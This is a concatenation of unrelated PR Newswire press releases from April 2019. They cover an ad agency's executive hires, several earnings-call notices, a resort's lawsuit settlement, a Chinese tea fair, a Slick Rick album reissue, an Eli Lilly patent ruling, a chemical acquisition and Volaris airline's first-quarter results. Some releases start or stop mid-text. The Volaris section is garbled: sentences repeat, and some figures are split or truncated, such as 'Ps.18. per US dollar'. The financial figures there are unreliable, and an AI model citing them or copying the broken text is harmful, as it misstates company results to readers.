TBWA\Chiat\Day Los Angeles put a focus on reimagining Media Arts for the modern landscape. Grounded in the agency's enduring Disruption practice, Media Arts is the method that combines brand strategy, connections planning, data intelligence and experience design to bring disruptive ideas to market. This new approach to Media Arts is working; the agency has been able to bolster its client roster, with three new "agency of record" winsBlue Diamond Growers, Supercuts and Robinhoodas well as new creative assignments from Google Play, McDonald's McCafe, and Disney+, the new video-on-demand service of Walt Disney Studios. The agency has also expanded its client relationships, with PepsiCo, which earlier this year shifted responsibility for digital work on its Gatorade brand to the agency, and with Intuit, which tapped TBWA\Chiat\Day for its global social-content-creation needs for its QuickBooks brand. "We draw great confidence from knowing that the disruptive ethos and methodology at our core have been unquestionably proven over fifty years. It fuels our ambition to be the most progressive creative company on the planet," said Erin Riley, president of TBWA\Chiat\Day Los Angeles. "The momentum we're experiencing now validates our approach as we continue to evolve our product suite and disrupt ourselves. We have rounded out our executive team with people who share our values and commitment to creativity, and who also bring distinctly different work experiencethis is what will keep us forward thinking." "Lee's insight that we should be Media Artists was a defining moment in our industry. We are honoring his legacy by bringing this type of end-to-end disruptive thinking to the forefront of everything we do," said Renato Fernandez, chief creative officer of TBWA\Chiat\Day Los Angeles. "It's now up to us to create what's next in the industry. Simon, Michael and Kelly share this drive and aspiration, and I'm thrilled to have them as partners." TBWA\Chiat\Day Los Angeles' new Managing Director, Michael Claypool, will instill Media Arts practice into all of the agency's ways of working. "My role will be harnessing the myriad of expertise within these walls to power the whole agency," he remarked, "It's what excites me most." He will lead office operations, ensure integration across departments, and counsel new and existing clients. Michael brings a wealth of business-transformation experience from his previous role as managing director at HUGE, where he spearheaded go-to-market strategy and delivery for high-profile brands such as Google, Nike, Hulu, Disney, Fox Studio and JetBlue. Chief Strategy Officer Simon Wassef will focus on maintaining the strategic excellence that has been the hallmark of the agency, while delivering the breadth of disciplines modern businesses and brands require. "This is an exciting time for strategistswe have the opportunity to design entire brands, build business models, and develop experiences and campaigns that rock," he continued, "Media Arts gives us the opportunity and the responsibility to do that." He joins the agency from R/GA London where, as EMEA executive strategy director, he led a diverse team driving business and brand strategy for Nike, Diageo, Samsung, Beats by Dre, IKEA, Google and Hyundai. His resume boasts leadership roles around the globe at AKQA, BBDO and Droga5, as well as Jay Chiat and Account Planning Group (APG) Gold awards, and a Grand EFFIE for "Pinkie," Australia's most successful road-safety campaign ever. Director of New Business Development, Kelly Rosen, who started with TBWA\Chiat\Day Los Angeles in the summer of 2018, has been working closely with the agency's leadership team to evolve how the agency goes to market and presents its new capabilities to a pool of ever-more-discerning prospective clients. The recent wins of new accounts and creative assignments demonstrate Kelly's role in transforming the agency's approach. Rosen joined the agency after spending 14 years with New York agencies, including Grey, DDB, Publicis and 360i. She brings keen creative intuition and a sensitivity to client needs that have delivered strong results for her new home on the West Coast. "It's been an honor to play a role in helping to grow and evolve such an iconic agency," said Rosen. "The combination of passion and momentum that reverberates throughout the agencyespecially within this leadership teaminspires me." About TBWA\Chiat\Day Los Angeles Shunning the conventions of Madison Avenue, Chiat\Day kick-started the West Coast ad boom in 1968 and eventually brought its creatively audacious California style of advertising global when it merged with international agency TBWA in 1995. The agency quickly built a reputation for challenging the status quo in a number of industry firsts. Whether that meant launching the revolutionary Apple Macintosh via the now-legendary "1984" commercial, inviting consumers to experience travel in a whole new way for Airbnb, keeping the crazy Energizer bunny going and going, fueling the Gatorade brand with its "Win from Within" philosophy, or refreshing the world with Pepsi, over the course of five decades, TBWA\Chiat\Day has become one of the most prolific ghostwriters of brand storytelling. About TBWA\Worldwide TBWA is The Disruption Company: the cultural engine for 21st-century business. Named one of the World's Most Innovative Companies by Fast Company and Adweek's 2018 Global Agency of the Year, we create disruptive ideas that locate and involve brands in culture, giving them a larger share of the future. Our collective has 11,300 creative minds across 275 offices in 95 countries, and also includes brands such as Auditoire, Digital Arts Network (DAN), eg+ worldwide, GMR, The Integer Group, TBWA\Media Arts Lab, TBWA\WorldHealth and TRO. Global clients include adidas, Apple, Gatorade, Henkel, Hilton Hotels, McDonald's, Michelin, Nissan and Singapore Airlines. Follow us on Twitter, LinkedIn and Instagram, and like us on Facebook. TBWA is part of Omnicom Group (NYSE: OMC). About Omnicom Group Inc. Omnicom Group Inc. (NYSE: OMC) (http://www.omnicomgroup.com) is a leading global marketing and corporate communications company. Omnicom's branded networks and numerous specialty firms provide advertising, strategic media planning and buying, digital and interactive marketing, direct and promotional marketing, public relations and other specialty communications services to over 5,000 clients in more than 100 countries. SOURCE TBWA\Chiat\Day Los Angeles CHICAGO, April 26, 2019 /PRNewswire/ -- Telephone and Data Systems, Inc. (NYSE: TDS) and United States Cellular Corporation (NYSE: USM) will be webcasting their first quarter operating results conference call on May 3, 2019, at 9:00 a.m. central time. The companies will release their financial results on May 2, 2019 after market close. To listen to the webcast, please visit the events & presentations pages of investors.tdsinc.com or investors.uscellular.com. The presentations will be webcast both live and on-demand. It is recommended that you register at least 15 minutes before the beginning of the presentation to register, download and install any necessary multimedia streaming software. About TDS Telephone and Data Systems, Inc. (TDS), a Fortune 1000 company, provides wireless; cable and wireline broadband, TV and voice; and hosted and managed services to approximately 6 million connections nationwide through its businesses, U.S. Cellular, TDS Telecom, BendBroadband and OneNeck IT Solutions. Founded in 1969 and headquartered in Chicago, TDS employed 9,400 people as of December 31, 2018. For more information about TDS and its subsidiaries, visit: TDS: www.tdsinc.com U.S. Cellular: www.uscellular.com TDS Telecom: www.tdstelecom.com OneNeck IT Solutions: www.oneneck.com SOURCE Telephone and Data Systems and U.S. Cellular Related Links https://www.tdsinc.com OKLAHOMA CITY, April 26, 2019 /PRNewswire/ -- Templar Energy LLC and its affiliates ("Templar" or the "Company") announced today that David D. Le Norman has tendered his resignation to the board of managers (the "Board") and will be stepping down from his position as President and Chief Executive Officer. Mr. Le Norman will remain a member of the Board of Templar and serve in the role of Chairman. Brian Simmons, Chief Operating Officer at Le Norman Operating, LLC has been named as the Company's new Chief Executive Officer. "The Board is thankful for Dave's years of service and leadership," said Mr. Michael France. "We understand and support his decision to step down in order to pursue other opportunities and are grateful for his many accomplishments. We wish him the very best and are confident that Brian and Templar's executive leadership team are poised to lead the Company to continued success in the future." Mr. Simmons joined Templar in August of 2013. Prior to joining Templar, he worked for Chesapeake Energy in operations throughout the company at both the corporate and field level. Mr. Simmons served as the Superintendent in the Haynesville Shale play responsible for over 1.5 BCFD gas production and multiple fracture stimulation crews helping to achieve 1 million man-hours without an OSHA recordable safety incident. He has been involved in over 1,000 well completions throughout his career and involved in the drilling and completion of approximately 300 horizontal wells while at Templar. Mr. Simmons is an active member in the API, AADE, SPE, and OIPA organizations. He holds a B.S. degree in Petroleum Engineering from Texas Tech University and M.B.A. from the University of Oklahoma. About Templar Templar is an exploration and production company focused on investing primarily in the mature, liquids-rich producing basins in the Mid-Continent Region. Templar also evaluates opportunities outside the region which fit its economic criteria. Templar is headquartered in Oklahoma City, Oklahoma. Visit http://www.lenormanoperating.com for more information. For more information about Templar, please contact: (405) 548-1200 or [email protected] SOURCE Templar Energy LLC Related Links http://www.lenormanoperating.com RANCHO PALOS VERDES, Calif., April 26, 2019 /PRNewswire/ -- Terranea Resort announced today that it has signed a settlement agreement that successfully ends a class-action lawsuit that was filed the same day labor union Unite Here Local 11 launched a smear campaign to pressure the resort to submit to a unionization process that deprives employees of their Constitutional rights to decide by secret ballot election whether they want third-party representation. Terranea settled the lawsuit, denying all allegations, to avoid protracted and costly litigation. Said Terri A. Haack, President of Terranea: "We are happy to have expediently resolved this matter and avoided a costly and lengthy litigation that would have largely benefited a small group of plaintiff lawyers. We are confident that we would have prevailed in court, but believe our resources are better spent delivering exceptional experiences at Terranea that support our employees, enchant our guests and strengthen our community. We are pleased that Terranea remains the employer of choice for our valued team members and are committed to their continued fair compensation and treatment." Terranea has enjoyed a low staff turnover since opening a decade ago because of its culture of mutual respect and fairness. Plaintiffs' attorneys, including an attorney who also represents Unite Here Local 11, stand to receive more than $716,000 in legal fees as part of the settlement. Employees will receive individual sums that are a very small fraction of what the attorneys will receive. Since the lawsuit was filed, Unite Here Local 11 has continued to try to coerce the Resort to sacrifice employees' freedom of choice. More than a year ago Terranea formally requested that Local 11 agree to let employees exercise their right to vote in a free and fair democratic election. Local 11 has rejected the request rather than risk losing a vote. SOURCE Terranea Resort HAMILTON, Bermuda, April 26, 2019 /PRNewswire/ -- Textainer Group Holdings Limited (NYSE:TGH) ("Textainer"), one of the world's largest lessors of intermodal containers, will release first quarter 2019 financial results after the close of regular market trading on Thursday, May 9, 2019. A conference call to discuss its results will follow at 5:00 p.m. Eastern Time that same day. Those wishing to participate via webcast should access the call through Textainer's Investor Relations website at http://investor.textainer.com. Those wishing to participate via telephone may dial in at 1-855-327-6838 (U.S. & Canada) or 1-631-891-4304 (International). The conference call replay will be available via webcast through Textainer's Investor Relations website. The telephone replay will be available from 8:00 p.m. Eastern Time on May 9, 2019, through May 16, 2019, by dialing 1-844-512-2921 (U.S. & Canada) or 1-412-317-6671 (International). The replay passcode will be 10006608. About Textainer Group Holdings Limited Textainer has operated since 1979 and is one of the world's largest lessors of intermodal containers with more than 3 million TEU in our owned and managed fleet. We lease containers to approximately 250 customers, including all of the world's leading international shipping lines, and other lessees. Our fleet consists of standard dry freight, refrigerated intermodal containers, and dry freight specials. We also lease tank containers through our relationship with Trifleet Leasing and are the primary supplier of containers to the U.S. Military. Textainer is one of the largest and most reliable suppliers of new and used containers. In addition to selling older containers from our lease fleet, we buy older containers from our shipping line customers for trading and resale. We sold an average of almost 140,000 containers per year for the last five years to more than 1,500 customers making us one of the largest sellers of used containers. Textainer operates via a network of 14 offices and approximately 500 independent depots worldwide. Contact Information Investor Relations +1 415-658-8333 [email protected] SOURCE Textainer Group Holdings Limited Related Links http://investor.textainer.com Chinese exhibitors in this exhibition will come from all the 22 major tea producing provinces, whose participation was supported by the Agricultural and Rural Affairs Bureaus of each province as well as the Supply and Marketing Cooperatives. The types of tea showcased at this event include green tea, black tea, white tea, Pu-erh tea, dark tea, Oolong tea, yellow tea, and flower tea. This exhibition will bring together exhibitors from more than 120 brands of tea. The international hall is expected to attract exhibitors from more than ten countries and regions including Hong Kong, Macao, Taiwan, New Zealand, Japan, South Korea, Malaysia, Sri Lanka and Laos. Representatives from several famous brands - including Zealong, Shellstone, and Lions - will also take part in this event. The presence of foreign tea products and tea sets will widen the scope and the importance of this exhibition. A focus on buyers' diversified needs This tea fair will attract more than 150,000 tea dealers and consumers from all levels to visit and purchase, including tea houses, tobacco and tea shops, clubhouses, hotels and other players in mid-to-high-end markets. Other participants work for supermarkets, e-commerce stores, new tea companies, cross-border enterprises, and as distribution agents from professional markets and major tea markets. These buyers will come in contact with tea farmers to meet the tea purchase demand with more choices and better prices. Their multi-dimensional needs will also bring great economic benefits and publicity to exhibitors. New services and opportunities for discussion Besides the business opportunities created by this exhibition, conferences and forums related to tea and coffee will also be held in the same location. Conferences and events include Meeting of China-CEEC Ministers of Agriculture and the China-CEEC Agro-Trade and Economic Cooperation Forum, Dialogue on Tea by the West Lake-The Third China Summit Forum on International Tea Industry, The 3rd International Tea and Coffee Dialogue, The 3rd Forum on Contemporary Chinese Tea Culture, The 2nd International Seminar of Tea Institute Directors, The 2nd Conference on Tourism Development in Tea Growing Regions, The Tea Industry T20 Summit, China Tea Industry Alliance Council, The 2nd International Seminar of Tea Institute Directors, and many more. They will allow participants in these events to share their thoughts on the future of the tea industry. The topics discussed in these forums will range from brand awareness and market development to the expansion of the tea culture. All parties involved in the exhibition can transfer and gather new knowledge for a faster development of their business and personal competences. Through this melting pot of cultures and ideas, it will be possible to promote the development of the Chinese and international tea industry. Moreover, over 80 mass media and new media will report on the event. Media contact: Company name: Shenzhen HJC Industrial Group Address: Bao'an District of Shenzhen, Bao'an Stadium Email: [email protected] Phone: (+86) 181 2616 5003 Website: https://www.globalteafair.com SOURCE Shenzhen HJC Industrial Group The Great Adventures of Slick Rick [CD; digital] [CD; digital] The Great Adventures Of Slick Rick [2LP on limited edition translucent blue vinyl] [2LP on limited edition translucent blue vinyl] The Great Adventures Of Slick Rick [2LP on standard black vinyl] [2LP on standard black vinyl] The Great Adventures of Slick Rick (Deluxe Edition) [2LP on limited edition translucent blue vinyl] (Deluxe Edition) [2LP on limited edition translucent blue vinyl] The Great Adventures of Slick Rick (Deluxe Edition) [2LP on standard black vinyl] The album's 12 songs include the classics "Teenage Love," "Children's Story," "The Ruler's Back," "Lick the Balls," and "Treat Her Like a Prostitute." The new 30th Anniversary Edition adds Rick's previously unreleased demo recordings for "Children's Story," "A Teenage Love," "Mona Lisa," and "Hey Young World." The album's new digital edition also includes the previously unissued "Snakes of the World Today" (written, recorded, and produced by Slick Rick during sessions for the album). The Deluxe 2LP vinyl packages include a booklet with reproductions of lyric sheets and photos, as well as a reproduction of Slick Rick's infamous eyepatch. The Deluxe Edition also features an ode to The Great Adventures written by the legendary Nas. Slick Rick has also debuted two limited-edition 'Great Adventures' t-shirts, available exclusively from Bravado.com and Rick's own online store: shop.slickrickisart.com. He also collaborated with PINTRILL for a limited edition three-pin bundle to commemorate The Great Adventures, available on his store, as well. Purchase THE GREAT ADVENTURES OF SLICK RICK (30th Anniversary Deluxe Edition) : https://SlickRick.lnk.to/GreatAdventuresOfSlickRick Driven by the back-to-back chart successes of "Teenage Love" (Top 20 R&B, Top 10 Rap), and "Children's Story" (Top 5 R&B and Rap, and consistently cited as one of the Top 50 Rap hits of all time), THE GREAT ADVENTURES OF SLICK RICK soared to No. 1 on Billboard's R&B Albums chart for five weeks. The album was one of the first hip-hop albums to be certified platinum by the RIAA and it provided a solid foundation for Slick Rick, who went on to release three successful follow-up albums on Def Jam: The Ruler's Back (1991), Behind Bars (1994), and The Art of Storytelling (1999). NO SHORTCUTS: Slick Rick on the 30th Anniversary of 'Great Adventures': https://www.youtube.com/watch?v=VA9jBYD6-fo Recently, Slick Rick's omnipresent influence on fashion and lifestyle culture landed him as the face of a new collaborative campaign between fashion retailer Nordstrom and luxury travel goods and accessories brand MCM. Rick recently performed his smash hit "Mona Lisa" on "Strahan and Sara" and he was featured on the cover of Office Magazine. slickrickisart.com THE GREAT ADVENTURES OF SLICK RICK (30th Anniversary Edition) (Remastered original album, plus previously unreleased tracks) 1. Treat Her Like a Prostitute 2. The Ruler's Back 3. Children's Story 4. The Moment I Feared 5. Let's Get Crazy 6. Indian Girl (An Adult Story) 7. Teenage Love 8. Mona Lisa 9. Kit (What's the Scoop) 10. Hey Young World 11. Teacher, Teacher 12. Lick the Balls BONUS TRACKS 13. Children's Story (Demo) - previously unreleased 14. A Teenage Love (Demo) - previously unreleased 15. Mona Lisa (Demo) - previously unreleased 16. Hey Young World (Demo) - previously unreleased DIGITAL EXCLUSIVE BONUS TRACK 17. Snakes of The World Today (Session Track) - previously unreleased ABOUT SLICK RICK : GRAMMY-nominated Slick Rick's impact on Rap and rock over the last three decades is attested to by the volume of artists who have sampled his work, starting with his first double-sided hit single with Doug E. Fresh's Get Fresh Crew in 1985 (prior to arriving at Def Jam), "The Show"/"La Di Da Di." According to whosampled.com, "The Show" has been sampled more than 144 times, by Eminem, Jay Z, Missy Elliott, Lauryn Hill, LL Cool J, Redman, and others. "La Di Da Di" has been sampled some 940 times, by the likes of Eminem, Jay-Z, Ludacris, Big Daddy Kane, Ini Kimoze, Mary J. Blige, Mariah Carey, Beyonce, E-40, the Beastie Boys, and more. It is one of a handful of the most sampled rap songs in the history of all genres of music. Rick's Def Jam output added countless hundreds more samples to the tally. In fact, he would go on to become the most sampled British-American artist in hip-hop history. Ever influential, he has been referenced in over 100 songs from the early 1990s to present day, by artists ranging from Nicki Minaj, J Cole, Pitbull, and will.i.am., to Amy Winehouse, Big Sean and Future. Slick Rick has acted and cameoed in more than 10 movies and videos. He has collaborated with musical icons from Jay-Z and Missy Elliot to OutKast, Jermaine Dupri, Mos Def, Common, R. Kelly and Aaliyah. Born to Jamaican parents in South Wimbledon, London in 1965, Ricky Martin Lloyd Walters was raised in England for most of his first 10 years. It was there he was blinded in his right eye as an infant, which would result in his signature eyepatch. His family emigrated to the Bronx when Rick was 11, and he later attended LaGuardia High School of Music & The Arts. There he formed the Kangol Crew, a seven-member posse (including two co-eds) with future rap star Dana Dane. Rick graduated in '83 and hooked up with Doug E. Fresh a year or so later, after defeating the legendary Cold Crush Brothers at a rap contest in the Bronx. One of the most audacious debuts in the history of rap was made in the summer of 1985 by a young man billed as MC Ricky D and dubbed Slick Rick by his partner, Doug E. Fresh. The two were teamed up on the 12-inch single, "The Show" b/w "La-Di-Da-Di" (Reality Records). The record was everywhere that year, and ultimately led to Rick's contract with Def Jam. As a philanthropist and longtime Bronx supporter, Rick has given of himself to his community and culture for more than three decades. In turn, January 9th was declared Slick Rick Day three years ago by Bronx Borough President Ruben Diaz. Rick and his wife Mandy have spent Christmas Eve with inmates at New York's Riker's Island prison (where he himself was once housed). He has worked with the Bronx Youth Empowerment Program (BYEP); done seminars in Florida on immigration reform and bettering the community; participated in will.i.am's "Trans4M" concert, which raised more than $2.4 million for the music producer's i.am.angel Foundation; and donated items from his iconic wardrobe collection to the Smithsonian Foundation's National Museum of African-American History. His efforts have earned Rick accolades from Miami Dade College, the Florida House of Representative, the State of Arkansas, Keys to the City of Houston, New York City Council, and Music Saves Lives, and the Mixx Cares Humanitarian Award from the Latin Mixx Awards Committee. In addition to owning real estate in the Bronx, Rick's business interests include partnering with will.i.am to create a limited edition ill.i Optics capsule collection of sunglasses in 2015. That same year, Rick joined forces with custom-apparel platform Teespring to produce a limited edition white tee featuring representations of his best-known gold and diamond chains. 2018 found Rick connecting with Odd Sox to release two customized socks from the company's music collection, featuring iconic images of the artist from hip-hop's golden era. He also teamed up with Lyric Culture for a limited-release women's tank top sporting the lyrics to "La Di Da Di," sold exclusively at Forever 21. A new collaborative campaign between fashion retailer Nordstrom and luxury travel goods and accessories brand MCM features the face and flair of Slick Rick. Last fall, [email protected], the rotating concept shop at Nordstrom, featured a special capsule collection celebrating the heritage, history and future of MCM. The collection included more than 100 exclusive items for men and women, inspired by the brand's most coveted and iconic styles. In other roles, Rick has read the audio book version of How To Get A Record Deal: The Knowledge To Succeed written by music-industry veteran Wendy Day. Rick's next moves are in voice animated content and fashion, and the design of a custom sneaker/shoe line. With more than three decades in the world of music, Slick Rick is still striving, still working, still giving back to his community and still ruling. SOURCE Def Jam/Urban Legends/UMe Related Links https://slickrick.lnk.to/GreatAdventuresOfSlickRick SCOTTSDALE, Ariz., April 26, 2019 /PRNewswire/ -- Universal Technical Institute, Inc. (NYSE: UTI), the leading provider of transportation technician training, announced today that it will report its financial results for the fiscal 2019 second quarter ended March 31, 2019, on Thursday, May 9, 2019, after market close. UTI management will host a conference call on Friday, May 10, 2019, at 11:00 a.m. Eastern Daylight Time to discuss its fiscal 2019 second quarter financial results and operating performance. To participate in the live call, investors are invited to dial (412) 317-6790 or (844) 881-0138. A live webcast of the call will be available via the Universal Technical Institute investor relations website at https://investor.uti.edu. Please go to the website at least 10 minutes early to register, download and install any necessary audio software. The conference call webcast will be archived for 90 days at https://investor.uti.edu or the telephone replay can be accessed through May 24, 2019, by dialing (412) 317-0088 or (877) 344-7529 and entering passcode 10130240. About Universal Technical Institute, Inc. With more than 200,000 graduates in its 53-year history, Universal Technical Institute, Inc. (NYSE: UTI) is the nation's leading provider of technical training for automotive, diesel, collision repair, motorcycle and marine technicians, and offers welding technology and computer numerical control (CNC) machining programs. The company has built partnerships with industry leaders, outfits its state-of-the-industry facilities with current technology, and delivers training that is aligned with employer needs. Through its network of 13 campuses nationwide, UTI offers post-secondary programs under the banner of several well-known brands, including Universal Technical Institute (UTI), Motorcycle Mechanics Institute and Marine Mechanics Institute (MMI) and NASCAR Technical Institute (NASCAR Tech). The company is headquartered in Scottsdale, Arizona. For more information, visit uti.edu . Company Contact: Scott Yessner Interim Chief Financial Officer Universal Technical Institute, Inc. (623) 445-0977 [email protected] Investor Relations Contact: Moriah Shilton LHA Investor Relations (415) 433-3777 [email protected] SOURCE Universal Technical Institute, Inc. Related Links https://www.uti.edu INDIANAPOLIS, April 26, 2019 /PRNewswire/ -- Eli Lilly and Company (NYSE: LLY) today announced that the U.S. Court of Appeals for the Federal Circuit has ruled in the company's favor regarding patentability of the vitamin regimen for Alimta (pemetrexed for injection). The decision upholds an October 2017 decision by the Patent Trial and Appeal Board of the U.S. Patent and Trademark Office (PTO). In the inter partes review (IPR) proceedings initiated by Neptune Generics, LLC and Sandoz Inc., the U.S. PTO found on October 5, 2017 that the claims of the vitamin regimen patent are valid. Neptune, Fresenius Kabi and Mylan filed an appeal, which was decided today. If the patent is ultimately upheld through all remaining challenges, Alimta would maintain U.S. exclusivity until May 2022, preventing marketing of generic products for as long as the patent remains in force. "We are pleased with today's ruling by the Appeals Court finding the claims of the Alimta vitamin regimen patent are valid," said Michael J. Harrington, senior vice president and general counsel for Lilly. "This ruling confirms the earlier decision of the both the PTO and the district court, which was affirmed on appeal by a unanimous court. "Lilly's extensive research to discover the Alimta vitamin regimen patent deserves intellectual property protection, which has been confirmed in every validity challenge in the U.S. to date," Harrington said. "We depend on strong and effective intellectual property protection to help support the development of the next generation of innovative medicines." On June 22, 2018, Lilly announced that the U.S. District Court for the Southern District of Indiana ruled in favor of Lilly that the Alimta vitamin regimen patent would be infringed by the use of Dr. Reddy's Laboratories alternative salt form of pemetrexed prior to the patent's expiration in May 2022. The district court found that use of Dr. Reddy's product will infringe under the doctrine of equivalents. In a separate decision on June 15, 2018, the District Court also ruled in favor of Lilly in the case of Eli Lilly and Company v. Hospira, Inc., denying Hospira's motion for summary judgement and granting Lilly's cross-motion for summary judgment. These rulings mean Dr. Reddy's Laboratories and Hospira will be prevented from launching their alternative salt forms of pemetrexed until the patent expires. Dr. Reddy's Laboratories and Hospira have appealed the district court's decisions. The hearing on those appeals is scheduled for June 2019. In March 2014, the U.S. Court for the Southern District of Indiana upheld the validity of the vitamin regimen patent. In August 2015, the same court ruled in Lilly's favor regarding infringement of the vitamin regimen patent. The U.S. Court of Appeals for the Federal Circuit confirmed these rulings in a unanimous decision in January 2017, finding the patent is valid and would be infringed by the generic challengers' proposed products. About Eli Lilly and Company Lilly is a global healthcare leader that unites caring with discovery to create medicines that make life better for people around the world. We were founded more than a century ago by a man committed to creating high-quality medicines that meet real needs, and today we remain true to that mission in all our work. Across the globe, Lilly employees work to discover and bring life-changing medicines to those who need them, improve the understanding and management of disease, and give back to communities through philanthropy and volunteerism. To learn more about Lilly, please visit us at www.lilly.com and http://newsroom.lilly.com/social-channels. C-LLY This release contains forward-looking statements regarding the U.S. Alimta patent litigation. These statements are based on management's current expectations but actual results may differ materially. There can be no assurance that the company will prevail in any litigation or appeal. Also, the company cannot predict whether generic pemetrexed will be marketed in the U.S. prior to the expiration of the vitamin regimen patent. Other risk factors that may affect the company's results can be found in the company's latest Forms 10-K and 10-Q filed with the U.S. Securities and Exchange Commission. Except as required by law, Lilly undertakes no duty to update forward-looking statements to reflect events after the date of this release. ________________________________ Alimta (pemetrexed for injection, Lilly) SOURCE Eli Lilly and Company Related Links http://www.lilly.com WYNYARD, UK, April 26, 2019 /PRNewswire/ -- Venator Materials PLC (NYSE: VNTR) ("Venator") today announced that pursuant to a July 14, 2018, agreement with Tronox, it has completed its acquisition of the European titanium dioxide ("TiO 2 ") paper laminates business (the "8120 Grade"). Tronox will supply the 8120 Grade product to Venator under a Transitional Supply Agreement for an initial term of 2 years, and extendable up to 3 years, to allow for the transfer of the manufacturing of the 8120 Grade to Venator's Greatham, U.K., facility. Total cash consideration is 8 million: 1 million has been paid upon closing and the remainder is to be paid evenly in the second quarter of 2020 and 2021, respectively. As previously announced, Venator and Tronox also agreed in the July 14, 2018 agreement that Tronox will promptly pay Venator a "break fee" of $75 million upon consummation of the Tronox/Cristal merger (and, now, by no later than May 13, 2019) once the sale of the European paper laminates business to Venator has been consummated if the sale of the Ashtabula complex to Venator has not been completed. Simon Turner, President and CEO of Venator, commented: "The acquisition by Venator of the European paper laminates business fulfils the remaining condition to Tronox's obligation to promptly pay Venator the break fee due no later than May 13, 2019, under our July 14, 2018, agreement. We intend to vigorously enforce our agreement, if necessary." About Venator Venator is a global manufacturer and marketer of chemical products that comprise a broad range of pigments and additives that bring color and vibrancy to buildings, protect and extend product life, and reduce energy consumption. We market our products globally to a diversified group of industrial customers through two segments: Titanium Dioxide, which consists of our TiO2 business, and Performance Additives, which consists of our functional additives, color pigments, timber treatment and water treatment businesses. We operate 24 facilities, employ approximately 4,300 associates worldwide and sell our products in more than 110 countries. Social Media: Twitter: www.twitter.com/VenatorCorp Facebook: www.facebook.com/venatorcorp LinkedIn: www.linkedin.com/company/venator-corp SOURCE Venator Materials PLC Related Links http://www.venatorcorp.com MEXICO CITY, April 26, 2019 /PRNewswire/ -- Volaris* (NYSE: VLRS and BMV: VOLAR), the ultra-low-cost airline serving Mexico, the United States and Central America, today announced its financial results for the first quarter 2019. The following financial information, unless otherwise indicated, is presented in accordance with International Financial Reporting Standards (IFRS). First Quarter 2019 Highlights Total operating revenues were Ps.7,192 million for the first quarter, an increase of 22.9% year over year. Total ancillary revenues were Ps.2,563 million for the first quarter, an increase of 30.5% year over year. Total ancillary revenues per passenger for the first quarter reached Ps.517, increasing 12.1% year over year. Total ancillary revenues represented 35.6% of the total operating revenues for the first quarter 2019, increasing 2 percentage points with respect to the same period of last year. Total operating revenues per available seat mile (TRASM) totaled Ps.126. 1 cents for the first quarter, an increase of 9.0% year over year. for the first quarter, an increase of 9.0% year over year. Operating expenses per available seat mile (CASM) were Ps.125. 7 cents for the first quarter, a decrease of 0.7% year over year; with an average economic fuel cost per gallon of Ps.46.0 for the first quarter, an increase of 14.8% year over year. for the first quarter, a decrease of 0.7% year over year; with an average economic fuel cost per gallon of Ps.46.0 for the first quarter, an increase of 14.8% year over year. Operating expenses excluding fuel, per available seat mile (CASM ex fuel) reached Ps.78. 6 cents for the first quarter, a decrease of 5.8% year over year. for the first quarter, a decrease of 5.8% year over year. Operating income was Ps.26 million for the first quarter, an improvement compared with the operating loss of Ps.545 million for the same period of last year. Operating margin for the first quarter was 0.4%, an improvement in margin of 9.7 percentage points year over year. Net income was Ps.519 million (Ps.0.51 per share / US$0.26 per ADS), with a net margin of 7.2% for the first quarter. per ADS), with a net margin of 7.2% for the first quarter. At the close of the first quarter, the Mexican peso had appreciated 1.5% against the U.S. dollar with respect to the end of period exchange rate of the previous quarter (Ps.19.68 per US dollar). The Company booked a foreign exchange gain of Ps.1,154 million as a consequence of our U.S. dollar net monetary liability position, as result of the adoption of IFRS16. Net cash flow provided by operating activities was Ps.3,731 million, in conjunction with cash flow used in investing activities of Ps.379 million and in financing activities of Ps. 2,063 million. The negative net foreign exchange difference was Ps.82 million, with net cash generation in the first quarter of Ps.1,208 million. As of March 31, 2019 , cash and cash equivalents were Ps.7,071 million. Resilient Macroeconomics, Domestic Consumer Demand with Peso Depreciation and Fuel Price Pressures Resilient macroeconomics and domestic consumer demand: The macroeconomic indicators in Mexico during the first quarter were stable, with same store sales[1] increasing 2.1% year over year; remittances[2] increased 6.4% year over year during first two months of the year; and the Mexican Consumer Confidence Balance Indicator (BCC) [3] increasing in the first quarter 36% year over year. The macroeconomic indicators in during the first quarter were stable, with same store sales[1] increasing 2.1% year over year; remittances[2] increased 6.4% year over year during first two months of the year; and the Mexican Consumer Confidence Balance Indicator (BCC) [3] increasing in the first quarter 36% year over year. Air traffic volume increase: The Mexican DGAC reported overall passenger volume growth for Mexican carriers of 5.6% year over year for the first two months of 2019; domestic overall passenger volume increased 5.3%, while international overall passenger volume remained at the same level. The Mexican DGAC reported overall passenger volume growth for Mexican carriers of 5.6% year over year for the first two months of 2019; domestic overall passenger volume increased 5.3%, while international overall passenger volume remained at the same level. Exchange rate volatility: The Mexican peso depreciated 2.4% year over year against the US dollar, from an average exchange rate of Ps.18. 76 pesos per US dollar in the first quarter 2018 to Ps.19. 22 pesos per US dollar during the first quarter 2019. At the end of the first quarter, the Mexican peso appreciated 1.5% with respect to the end of period exchange rate of the previous quarter. The Company booked a foreign exchange gain of Ps.1,154 million as a consequence of our US dollar net monetary liability position, resulting from the adoption of IFRS16. The Mexican peso depreciated 2.4% year over year against the US dollar, from an average exchange rate of Ps.18. per US dollar in the first quarter 2018 to Ps.19. per US dollar during the first quarter 2019. At the end of the first quarter, the Mexican peso appreciated 1.5% with respect to the end of period exchange rate of the previous quarter. The Company booked a foreign exchange gain of Ps.1,154 million as a consequence of our US dollar net monetary liability position, resulting from the adoption of IFRS16. Higher fuel prices: The average economic fuel cost per gallon increased 14.8% to Ps.46.0 per gallon (US$2.4) in the first quarter 2019, year over year. Passenger Traffic Stimulation, Further Ancillary Revenue Expansion, and Positive TRASM Growth Passenger traffic stimulation: Volaris booked 5.0 million passengers in the first quarter 2019, up 16.4% year over year. Volaris traffic (measured in terms of revenue passenger miles, or RPMs) increased 14.2% year over year. System load factor during the first quarter increased 1.0 percentage point to 83.2% year over year. Volaris booked 5.0 million passengers in the first quarter 2019, up 16.4% year over year. Volaris traffic (measured in terms of revenue passenger miles, or RPMs) increased 14.2% year over year. System load factor during the first quarter increased 1.0 percentage point to 83.2% year over year. Positive TRASM growth: For the first quarter 2019, TRASM increased 9.0% year over year. During the first quarter 2019, the total capacity, in terms of ASMs, increased 12.8% year over year. For the first quarter 2019, TRASM increased 9.0% year over year. During the first quarter 2019, the total capacity, in terms of ASMs, increased 12.8% year over year. Total ancillary revenue growth: For the first quarter 2019, total ancillary revenues increased 30.5% year over year. Total ancillary revenues per passenger for the first quarter of 2019 increased 12.1% year over year. The total ancillary revenue generation continues to grow with new and matured products, appealing to customers' needs, representing 35.6% of total operating revenues for the first quarter, up 2 percentage points year over year. For the first quarter 2019, total ancillary revenues increased 